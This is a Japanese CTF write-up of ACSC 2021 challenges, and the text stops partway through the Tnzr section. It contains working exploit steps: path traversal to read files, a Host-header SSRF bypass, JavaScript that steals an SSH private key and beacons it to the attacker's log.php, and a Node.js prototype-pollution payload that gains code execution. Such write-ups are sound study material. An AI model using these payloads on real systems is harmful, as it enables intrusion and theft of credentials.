9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。
- [Warmup 1] welcome (429 solves)
- [Web 220] API (107 solves)
- [Web 230] Baby Developer (18 solves)
- [Web 330] Favorite Emojis (46 solves)
- [Web 370] Cowsay as a Service (33 solves)
- [Rev 170] sugar (26 solves)
- [Rev 220] Pickle Rick (23 solves)
- [Rev 270] encoder (23 solves)
- [Rev 360] Tnzr (10 solves)
- [Pwn 100] filtered (168 solves)
- [Pwn 200] histogram (38 solves)
- [Forensics 140] NYONG Coin (26 solves)
- [Crypto 100] RSA stream (121 solves)
[Warmup 1] welcome (429 solves)
Discordサーバに入るとフラグが得られた。いつものやつ。
ACSC{welcome_to_ACSC_2021!}
[Web 220] API (107 solves)
与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。
function main($acc){ gen_user_db($acc); gen_pass_db(); header("Content-Type: application/json"); $user = new User($acc); $cmd = $_REQUEST['c']; usleep(500000); switch($cmd){ case 'i': if (!$user->signin()) echo "Wrong Username or Password.\n\n"; break; case 'u': if ($user->signup()) echo "Register Success!\n\n"; else echo "Failed to join\n\n"; break; case 'o': if ($user->signout()) echo "Logout Success!\n\n"; else echo "Failed to sign out..\n\n"; break; } challenge($user); }
adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php
にリダイレクトされる。
function challenge($obj){ if ($obj->is_login()) { $admin = new Admin(); if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied'); $cmd = $_REQUEST['c2']; if ($cmd) { switch($cmd){ case "gu": echo json_encode($admin->export_users()); break; case "gd": echo json_encode($admin->export_db($_REQUEST['db'])); break; case "gp": echo json_encode($admin->get_pass()); break; case "cf": echo json_encode($admin->compare_flag($_REQUEST['flag'])); break; } } } }
が、redirect
の実装を見ると exit
もしくは die
が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users
などのメソッドが呼び出せてしまうことがわかる。
public function redirect($url, $msg=''){ $con = "<script type='text/javascript'>".PHP_EOL; if ($msg) $con .= "\talert('%s');".PHP_EOL; $con .= "\tlocation.href = '%s';".PHP_EOL; $con .= "</script>".PHP_EOL; header("location: ".$url); if ($msg) printf($con, $msg, $url); else printf($con, $url); }
admin向けの機能である export_db
の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct
が呼ばれていることからわかるように $this->db['path']
の内容を pas
というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass
もadmin向けの機能として呼び出せてしまう。
public function export_db($file){ if ($this->is_pass_correct()) { $path = dirname(__FILE__).DIRECTORY_SEPARATOR; $path .= "db".DIRECTORY_SEPARATOR; $path .= $file; $data = file_get_contents($path); $data = explode(',', $data); $arr = []; for($i = 0; $i < count($data); $i++){ $arr[] = explode('|', $data[$i]); } return $arr; }else return "The passcode does not equal with your input."; } // … public function is_pass_correct(){ $passcode = $this->get_pass(); $input = $_REQUEST['pas']; if ($input == $passcode) return true; } // … public function get_pass(){ return file_get_contents($this->db['path']); }
ユーザ登録 → get_pass
からadmin向けの機能を利用するためのパスワードを取得 → export_db
から /flag
を取得という流れでフラグが得られた。
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u" Register Success! $ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp" <script type='text/javascript'> location.href = '/api.php?#access denied'; </script> ":<vNk" $ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag" <script type='text/javascript'> location.href = '/api.php?#access denied'; </script> [["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
[Web 230] Baby Developer (18 solves)
/
にアクセスするとフラグを返すWebサーバが動いている genflag
、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag
にアクセスできフラグが得られる website
、Redisサーバが動く redis
、メインのWebサーバである mobile-viewer
の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは website
のSSHサーバと mobile-viewer
のみだ。
mobile-viewer
を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag
にもアクセスさせられるが、genflag
側では以下のように User-Agent
に iPhone
が含まれていないか確認されているし、mobile-viewer
によるアクセスはまさにその条件に当てはまってしまうのでダメ。
@app.route('/flag') def hello_world(): if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'): fp = open('/flag', 'r') flag = fp.read() return flag else: return "Nope.."
website
を見ていく。ソースコードとして以下のような Dockerfile
が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim
をcloneしてきてWebサーバを立ち上げている。リポジトリの package.json
を見るにVitepressを使っているらしい。
FROM node:lts-buster WORKDIR /srv/ RUN apt-get update && apt-get -y install ssh # For remote ssh from the library PC RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \ mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \ cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys # Challenge: get flag! RUN touch /home/stypr/.hushlogin && \ echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \ gcc -o /home/stypr/readflag /home/stypr/readflag.c && \ chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c # Run dev version of harold.kim RUN git clone https://github.com/stypr/harold.kim RUN cd harold.kim && yarn install CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]
Viteのissueを眺めていると、/@fs/etc/passwd
のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer
でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa
してみるとSSH用の秘密鍵が得られてしまった。
さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe
で開かせてCSSに position: absolute
や top
、left
などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。
website
が返すヘッダをよく見ると、Access-Control-Allow-Origin: *
が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewer
のChromiumにアクセスさせる。すると、log.php
に秘密鍵がPOSTされた。
<script> (async () => { const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" }); const t = await r.text(); navigator.sendBeacon('log.php', t); })(); </script>
この秘密鍵を使って website
のSSHサーバにログインするとフラグが得られた。
$ chmod 600 id_rsa $ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE} Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}
[Web 330] Favorite Emojis (46 solves)
web
(nginx) と api
、renderer
(tvanro/prerender-alpine
) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web
だけで、これは以下のような設定で動いている。User-Agent
にbotっぽい文字列が含まれていれば renderer
に見に行かせるらしい。
server { listen 80; root /usr/share/nginx/html/; index index.html; location / { try_files $uri @prerender; } location /api/ { proxy_pass http://api:8000/v1/; } location @prerender { proxy_set_header X-Prerender-Token YOUR_TOKEN; set $prerender 0; if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") { set $prerender 1; } if ($args ~ "_escaped_fragment_") { set $prerender 1; } if ($http_user_agent ~ "Prerender") { set $prerender 0; } if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") { set $prerender 0; } if ($prerender = 1) { rewrite .* /$scheme://$host$request_uri? break; proxy_pass http://renderer:3000; } if ($prerender = 0) { rewrite .* /index.html break; } } }
Host
ヘッダに example.com
を入れてHTTPリクエストを送ると /$scheme://$host$request_uri?
にそのまま展開され、renderer
が取ってきた example.com
のコンテンツを返す。フラグは以下からわかるように api
の /
が返すから、renderer
を api:3000
にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000
のようなヘッダを送るだけではアクセスさせられない。
FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}" app = Flask(__name__) emojis = [] @app.route("/", methods=["GET"]) def root(): return FLAG
色々試していると、api:3000
のように :
をU+FF1Aに変えるだけでバイパスできた。
$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000" <html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}
[Web 370] Cowsay as a Service (33 solves)
名前を入力すると cowsay
を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。
文字色の変更は以下のAPIを使って行われている。/setting/color
に {"value":"#ff0000"}
のようなJSONを投げると、settings
という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__
である場合には settings[ctx.state.user]
が Object.prototype
を返し、さらに setting[ctx.params.name] = ctx.request.body.value
で Object.prototype[name] = value
相当のことができる。Prototype Pollutionだ。
const settings = {}; // … router.post('/setting/:name', (ctx, next) => { if (!settings[ctx.state.user]) { settings[ctx.state.user] = {}; } const setting = settings[ctx.state.user]; setting[ctx.params.name] = ctx.request.body.value; ctx.redirect('/cowsay'); });
使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn
から呼び出されている normalizeSpawnArguments
内に const env = options.env || process.env;
という処理があるために、Object.prototype.env
にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSync
が cowsay
の呼び出しに使われているから利用できそうだ。
ほかにもこの関数にgadgetがないか探していると、options.shell
を参照している処理が見つかった。Object.prototype.shell
に /usr/local/bin/node
を、Object.prototype.env
は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"}
を入れればRCEに持ち込めるはずだ。
フラグは環境変数にある。child_process.spawnSync
から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ
を読んでしまえばよい。
$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \ -H 'Content-Type: application/json' \ -H 'Cookie: username=__proto__' \ --data-raw '{"value":"/usr/local/bin/node"}' Redirecting to <a href="/cowsay">/cowsay</a>. $ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \ -H 'Content-Type: application/json' \ -H 'Cookie: username=__proto__' \ --data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}' Redirecting to <a href="/cowsay">/cowsay</a>. $ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output - … <pre style="color: #000000" class="cowsay"> NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!} </pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}
[Rev 170] sugar (26 solves)
disk.img
や OVMF.fd
などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img
にはUEFIアプリケーションが含まれており、これを解析する問題らしい。
$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic Input flag:
適当なバイナリエディタで disk.img
を開き、MZ
で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct!
やら Input flag:
やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。
この関数では、まず入力を求めた後に、それが38文字であり、ACSC{
と }
で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInit
や AesCbcEncrypt
といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。
最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450
と比較している。
この var_460
に何が入るか確認したい。QEMUのコマンドラインオプションに -s -S
を加え、gdb
で接続する。Wrong!
と出力するか Correct!
と出力するかが決まる jz
にブレークポイントを設定した上で continue
させる。
$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S
$ gdb target remote localhost:1234 b *0x0000000006668627 c
$rbp-0x450
を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{}
で囲めばフラグになる。
(gdb) x/16bx $rbp-0x450 0x7ea4500: 0x91 0xe3 0xde 0x70 0x5d 0xee 0x88 0x1d 0x7ea4508: 0xcb 0xa8 0x4e 0x84 0x0f 0xeb 0x0e 0x24
ACSC{91e3de705dee881dcba84e840feb0e24}
[Rev 220] Pickle Rick (23 solves)
chal.py
という以下のPythonコードと、rick.pickle
というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle
をunpickleするようだ。
# /usr/bin/env python3 import pickle import sys # Check version >= 3.9 if sys.version_info[0] != 3 or sys.version_info[1] < 9: print("Check your Python version!") exit(0) # This function is truly amazing, so do not fix it! def amazing_function(a, b, c=None): if type(b) == int: return a[b] else: return ( f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!" ) with open("rick.pickle", "rb") as f: pickle_rick = f.read() rick_says = b"Wubba lubba dub-dub!!" # What is the right input here? assert type(rick_says) == bytes and len(rick_says) == 21 pickle.loads(pickle_rick)
とりあえず実行してみると以下のように出力された。chal.py
の rick_says
に格納した文字列が合っているかどうかチェックしてくれるらしい。
root@13346db59d34:~# python chal.py ... Pickle Rick says: b'Wubba lubba dub-dub!!' The flag machine says: WRONG!
rick.pickleを読む
まず rick.pickle
を pickletools
で逆アセンブルする。
import pickletools with open('rick.pickle', 'rb') as f: s = f.read() pickletools.dis(s)
逆アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print
している様子が確認できる。
0: c GLOBAL 'builtins print' 16: T BINSTRING '\n...' 17122: \x85 TUPLE1 17123: R REDUCE 17124: c GLOBAL 'builtins print' 17140: S STRING 'Pickle Rick says:' 17161: \x85 TUPLE1 17162: R REDUCE 17163: c GLOBAL 'builtins print' 17179: c GLOBAL '__main__ rick_says' 17199: \x85 TUPLE1 17200: R REDUCE 17201: c GLOBAL 'builtins print' 17217: S STRING 'The flag machine says:' 17243: \x85 TUPLE1 17244: R REDUCE
その後に複雑なタプルの定義が続く。
17245: J BININT 115 17250: \x85 TUPLE1 17251: J BININT 99 17256: \x85 TUPLE1 17257: \x86 TUPLE2 17258: J BININT 97 17263: \x85 TUPLE1 17264: J BININT 162 17269: \x85 TUPLE1 ... 19032: \x86 TUPLE2 19033: \x86 TUPLE2 19034: \x86 TUPLE2 19035: \x86 TUPLE2 19036: \x94 MEMOIZE (as 0)
その後 type(amazing_function)
と type(getattr(amazing_function, '__code__'))
によって function
と code
を取り出している。それらを利用して search
と mix
という謎の関数を定義している。
19038: c GLOBAL 'builtins type' 19053: c GLOBAL '__main__ amazing_function' 19080: \x85 TUPLE1 19081: R REDUCE 19082: c GLOBAL 'builtins type' 19097: c GLOBAL 'builtins getattr' 19115: c GLOBAL '__main__ amazing_function' 19142: S STRING '__code__' 19154: \x86 TUPLE2 19155: R REDUCE 19156: \x85 TUPLE1 19157: R REDUCE
19158: ( MARK 19159: J BININT 2 19164: J BININT 0 19169: J BININT 0 19174: J BININT 5 19179: J BININT 6 19184: J BININT 67 19189: B BINBYTES b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00' 19292: ( MARK ... 19417: R REDUCE 19418: } EMPTY_DICT 19419: \x86 TUPLE2 19420: R REDUCE 19421: \x94 MEMOIZE (as 1)
rick_says
を取り出して mix
した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says))
のような感じでその要素をひとつずつ search
に投げて、その結果をタプルとして取得している。
19873: c GLOBAL '__main__ rick_says' 19893: \x85 TUPLE1 19894: R REDUCE 19895: \x94 MEMOIZE (as 2) 19896: 0 POP 19897: c GLOBAL 'builtins print' 19913: c GLOBAL '__main__ amazing_function' 19940: ( MARK 19941: g GET 1 19944: g GET 0 19947: c GLOBAL '__main__ amazing_function' 19974: g GET 2 19977: J BININT 0 19982: \x86 TUPLE2 19983: R REDUCE 19984: \x86 TUPLE2 19985: R REDUCE ... 20886: t TUPLE (MARK at 19940)
そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
が一致していればOKなようだ。
20887: ( MARK 20888: J BININT 53 20893: J BININT 158 20898: J BININT 33 20903: J BININT 115 20908: J BININT 5 20913: J BININT 17 20918: J BININT 103 20923: J BININT 3 20928: J BININT 67 20933: J BININT 240 20938: J BININT 39 20943: J BININT 27 20948: J BININT 19 20953: J BININT 68 20958: J BININT 81 20963: J BININT 107 20968: J BININT 245 20973: J BININT 82 20978: J BININT 130 20983: J BININT 159 20988: J BININT 227 20993: t TUPLE (MARK at 20887) 20994: c GLOBAL '__main__ rick_says' 21014: \x87 TUPLE3 21015: R REDUCE 21016: \x85 TUPLE1 21017: R REDUCE 21018: . STOP
searchとmixを読む
search
と mix
はバイトコードしか与えられていない。uncompyle6でデコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。
import dis def search(a, b): return None dis.dis(search)
c = pickle.loads(s[19038:19418] + b'.')
で code
オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnames
や c.co_consts
から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。
def mix(a): ln = a.__len__() arr = [] i = 0 while i < ln: s, j = (0, 0) while j < ln: s += (j + 1) * a[(i + j) % ln] j += 1 s %= 257 arr.append(s) i += 1 return arr def search(a, b): c = 0 while True: try: a0, a1 = a if b % 2 == c: a = a1 b //= 2 c = 1 - c else: a = a0 b //= 2 c = 1 - c except: return a[0]
あとはソルバを書いて実行するだけ。
from z3 import * def amazing_function(a, b, c=None): if type(b) == int: return a[b] else: return ( f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!" ) def mix(a): ln = a.__len__() arr = [] i = 0 while i < ln: s, j = (0, 0) while j < ln: s += (j + 1) * a[(i + j) % ln] j += 1 s %= 257 arr.append(s) i += 1 return arr xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,))))))))) def search(a, b): c = 0 while True: try: a0, a1 = a if b % 2 == c: a = a1 b //= 2 c = 1 - c else: a = a0 b //= 2 c = 1 - c except: return a[0] flag = [Int(f'x_{i}') for i in range(21)] solver = Solver() for c in flag: solver.add(0x20 <= c, c < 0x7f) rick_says = mix(flag) tmp = [] target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) for x in target: for y in range(256): r = search(xx, y) if r == x: tmp.append(y) break print(tmp) for c, d in zip(tmp, rick_says): solver.add(c == d) c = solver.check() print(c) m = solver.model() res = '' for c in flag: res += chr(m[c].as_long()) print(res)
実行してしばらく待つとフラグが得られた。
$ python solve.py ... YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}
[Rev 270] encoder (23 solves)
encoder
というELFと、それによって暗号化されたらしき flag.jpg.enc
というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。
$ echo AAAABBBBCCCCAAAA > test.txt $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:06 UTC 2021 00000000: 1c08 0381 2070 040e 0081 2010 0402 4080 .... p.... ...@. 00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040 ....P .....8...@ 00000020: 1001 $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:10 UTC 2021 00000000: 0004 8000 1000 0200 c040 1808 0301 2060 .........@.... ` 00000010: 0408 0081 2010 0402 4000 0800 0100 0020 .... ...@...... 00000020: 0c0d .. $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:10 UTC 2021 00000000: 0004 8000 1000 0200 c040 1808 0301 2060 .........@.... ` 00000010: 0408 0081 2010 0402 4000 0800 0100 0020 .... ...@...... 00000020: 0c0d ..
まずIDA Freewareで静的解析を試みたが、main
関数は以下のように mprotect
を呼び出した後に無効な命令を実行してしまうようだ。
よくバイナリを見ると、.init_array
セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction
で 4
というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4
は SIGILL
だ。main
の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。
ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。
試しに rand
を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.so
でコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt
を何度も実行しても出力された a.txt.enc
の内容は変わらない。暗号化のアルゴリズムは rand
に依存しているようだ。
#include <stdlib.h> int rand(void) { return atoi(getenv("NYAN")); }
ltrace
で関数の呼び出しを見てみると、rand
は一度しか呼び出されていないことがわかる。.init_array
に登録されていた関数内のアレだろう。あの関数では rand() % 255
と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc
が暗号化されたときの rand
の返り値が特定できないか試してみる。
適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done
で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc
の最初の数バイトを比較してやると、flag.jpg.enc
が暗号化されたときの rand() % 255
は80であるとわかった。
import glob with open('flag.jpg.enc', 'rb') as f: s = f.read() for fn in glob.glob('tmp/*'): with open(fn, 'rb') as f: t = f.read() if t == s[:len(t)]: print(fn)
$ python3 check.py tmp/80.enc
これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。
$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc 00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8 ....`t....:0.F.. 00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000030: 1d14 03a3 6074 8c0e d181 3a30 0505 ....`t....:0.. $ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc 00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8 ....`t....:0.F.. 00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000030: 1d14 03a3 6074 8c0e d181 3a30 0505 ....`t....:0..
つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc
の元のファイルが得られるはずだ。Pythonスクリプトを書く。
import os payload = b'' for x in range(256): payload += bytes([x]) * 16 with open('tmp.bin', 'wb') as f: f.write(payload) os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin') table = {} with open('tmp.bin.enc', 'rb') as f: for x in range(16): table[x] = {} for y in range(256): f.seek(32 * y + 2 * x) table[x][f.read(2)] = y with open('flag.jpg.enc', 'rb') as f: i = 0 res = b'' while True: print(i) x = f.read(2) if x == b'': break res += bytes([table[i % 16][x]]) i += 1 with open('flag.jpg', 'wb') as f: f.write(res)
実行すると flag.jpg.enc
の元のファイルが取得でき、フラグが得られた。
ACSC{it is too easy to recover this stuff, huh?}
[Rev 360] Tnzr (10 solves)
Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。
Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。
IDA Freewareで解析するとSDLが使われていることがわかる。WinMain
からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState
のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。
その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。
